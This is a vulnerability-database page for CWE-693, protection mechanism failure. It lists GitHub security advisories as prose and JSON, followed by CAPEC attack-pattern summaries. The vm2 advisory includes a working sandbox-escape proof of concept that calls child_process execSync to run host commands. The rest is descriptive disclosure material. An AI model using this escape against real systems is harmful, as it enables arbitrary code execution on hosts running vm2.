CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1256 vulnerabilities reference this CWE, most recent first.
GHSA-V2WX-4457-4JPJ
Vulnerability from github – Published: 2025-09-17 00:31 – Updated: 2025-09-17 00:31A vulnerability in the HPE Aruba Networking SD-WAN Gateways could allow an unauthenticated remote attacker to bypass firewall protections. Successful exploitation could allow an attacker to route potentially harmful traffic through the internal network, leading to unauthorized access or disruption of services.
{
"affected": [],
"aliases": [
"CVE-2025-37124"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T23:15:32Z",
"severity": "HIGH"
},
"details": "A vulnerability in the HPE Aruba Networking SD-WAN Gateways could allow an unauthenticated remote attacker to bypass firewall protections. Successful exploitation could allow an attacker to route potentially harmful traffic through the internal network, leading to unauthorized access or disruption of services.",
"id": "GHSA-v2wx-4457-4jpj",
"modified": "2025-09-17T00:31:11Z",
"published": "2025-09-17T00:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37124"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04943en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V37H-5MFM-C47C
Vulnerability from github – Published: 2026-05-05 16:33 – Updated: 2026-05-05 16:33Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24781"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:33:14Z",
"nvd_published_at": "2026-05-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e\u0027\u0027,\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
"id": "GHSA-v37h-5mfm-c47c",
"modified": "2026-05-05T16:33:15Z",
"published": "2026-05-05T16:33:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Has Sandbox Breakout Through Inspect Function"
}
GHSA-V3V6-H9VM-H39C
Vulnerability from github – Published: 2024-07-15 09:36 – Updated: 2024-07-15 09:36Openfind's Mail2000 has a vulnerability that allows the HttpOnly flag to be bypassed. Unauthenticated remote attackers can exploit this vulnerability using specific JavaScript code to obtain the session cookie with the HttpOnly flag enabled.
{
"affected": [],
"aliases": [
"CVE-2024-6741"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-15T09:15:03Z",
"severity": "MODERATE"
},
"details": "Openfind\u0027s Mail2000 has a vulnerability that allows the HttpOnly flag to be bypassed. Unauthenticated remote attackers can exploit this vulnerability using specific JavaScript code to obtain the session cookie with the HttpOnly flag enabled.",
"id": "GHSA-v3v6-h9vm-h39c",
"modified": "2024-07-15T09:36:30Z",
"published": "2024-07-15T09:36:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6741"
},
{
"type": "WEB",
"url": "https://www.openfind.com.tw/taiwan/download/Openfind_OF-ISAC-24-007.pdf"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-7941-b66e7-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7940-0177a-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V4V5-CP6R-QGQ7
Vulnerability from github – Published: 2023-04-11 21:30 – Updated: 2023-04-11 21:30Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2023-28284"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T21:15:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability",
"id": "GHSA-v4v5-cp6r-qgq7",
"modified": "2023-04-11T21:30:59Z",
"published": "2023-04-11T21:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28284"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V52C-8R34-P76R
Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31Protection mechanism failure in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-47159"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-08T17:15:36Z",
"severity": "HIGH"
},
"details": "Protection mechanism failure in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-v52c-8r34-p76r",
"modified": "2025-07-08T18:31:44Z",
"published": "2025-07-08T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47159"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47159"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V558-FHW2-V46W
Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2023-10-26 16:14Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:workflow-remote-loader"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10328"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-30T18:21:15Z",
"nvd_published_at": "2019-05-31T15:29:00Z",
"severity": "CRITICAL"
},
"details": "Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.",
"id": "GHSA-v558-fhw2-v46w",
"modified": "2023-10-26T16:14:43Z",
"published": "2022-05-24T22:00:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10328"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/workflow-remote-loader-plugin/commit/6f9d60f614359720ec98e22b80ba15e8bf88e712"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2019:1605"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1636"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/workflow-remote-loader-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-05-31/#SECURITY-921"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/05/31/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108540"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unsafe entry in Script Security list of approved signatures in Pipeline Remote Loader Plugin"
}
GHSA-V5CR-HWCX-R95M
Vulnerability from github – Published: 2023-11-21 09:30 – Updated: 2023-11-21 09:30During internal Axis Security Development Model (ASDM) threat-modelling, a flaw was found in the protection for device tampering (commonly known as Secure Boot) in AXIS OS making it vulnerable to a sophisticated attack to bypass this protection. To Axis' knowledge, there are no known exploits of the vulnerability at this time. Axis has released patched AXIS OS versions for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.
{
"affected": [],
"aliases": [
"CVE-2023-5553"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-21T07:15:11Z",
"severity": "HIGH"
},
"details": "During internal Axis Security Development Model (ASDM) threat-modelling, a flaw was found in the protection for device tampering (commonly known as Secure Boot) in AXIS OS making it vulnerable to a sophisticated attack to bypass this protection. To Axis\u0027 knowledge, there are no known exploits of the vulnerability at this time. Axis has released patched AXIS OS versions for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.\n\n",
"id": "GHSA-v5cr-hwcx-r95m",
"modified": "2023-11-21T09:30:23Z",
"published": "2023-11-21T09:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5553"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/0a/66/25/cve-2023-5553-en-US-417789.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5QF-M4WJ-HMCG
Vulnerability from github – Published: 2026-09-15 21:31 – Updated: 2026-09-16 18:31In gsa_sw_pk_hash_compare of image-auth-srv.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-0187"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T19:17:14Z",
"severity": "MODERATE"
},
"details": "In gsa_sw_pk_hash_compare of image-auth-srv.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-v5qf-m4wj-hmcg",
"modified": "2026-09-16T18:31:36Z",
"published": "2026-09-15T21:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0187"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V63G-V339-2673
Vulnerability from github – Published: 2024-05-02 15:30 – Updated: 2024-07-03 20:09Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.
Multiple sandbox bypass vulnerabilities exist in Script Security Plugin 1335.vf07d9ce377a_e and earlier:
-
Crafted constructor bodies that invoke other constructors can be used to construct any subclassable type via implicit casts.
-
Sandbox-defined Groovy classes that shadow specific non-sandbox-defined classes can be used to construct any subclassable type.
These vulnerabilities allow attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.
- These issues are caused by an incomplete fix of SECURITY-2824.
Script Security Plugin 1336.vf33a_a_9863911 has additional restrictions and sanity checks to ensure that super constructors cannot be constructed without being intercepted by the sandbox:
-
Calls to to other constructors using this are now intercepted by the sandbox.
-
Classes in packages that can be shadowed by Groovy-defined classes are no longer ignored by the sandbox when intercepting super constructor calls.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:script-security"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1336.vf33a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34144"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-03T20:14:29Z",
"nvd_published_at": "2024-05-02T14:15:10Z",
"severity": "HIGH"
},
"details": "Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.\n\nMultiple sandbox bypass vulnerabilities exist in Script Security Plugin 1335.vf07d9ce377a_e and earlier:\n\n- Crafted constructor bodies that invoke other constructors can be used to construct any subclassable type via implicit casts.\n\n- Sandbox-defined Groovy classes that shadow specific non-sandbox-defined classes can be used to construct any subclassable type.\n\nThese vulnerabilities allow attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.\n\n- These issues are caused by an incomplete fix of [SECURITY-2824](https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2824%20(1)).\n\nScript Security Plugin 1336.vf33a_a_9863911 has additional restrictions and sanity checks to ensure that super constructors cannot be constructed without being intercepted by the sandbox:\n\n- Calls to to other constructors using this are now intercepted by the sandbox.\n\n- Classes in packages that can be shadowed by Groovy-defined classes are no longer ignored by the sandbox when intercepting super constructor calls.\n\n",
"id": "GHSA-v63g-v339-2673",
"modified": "2024-07-03T20:09:30Z",
"published": "2024-05-02T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34144"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/script-security-plugin"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/script-security-plugin/releases/tag/1336.vf33a_a_9863911"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2024-05-02/#SECURITY-3341"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/05/02/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Script Security Plugin has sandbox bypass vulnerability involving crafted constructor bodies"
}
GHSA-V69P-M2GH-8C87
Vulnerability from github – Published: 2026-09-15 21:31 – Updated: 2026-09-16 18:31In multiple functions of fpc_tee_hal.c, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-56941"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T19:17:28Z",
"severity": "HIGH"
},
"details": "In multiple functions of fpc_tee_hal.c, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-v69p-m2gh-8c87",
"modified": "2026-09-16T18:31:36Z",
"published": "2026-09-15T21:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56941"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.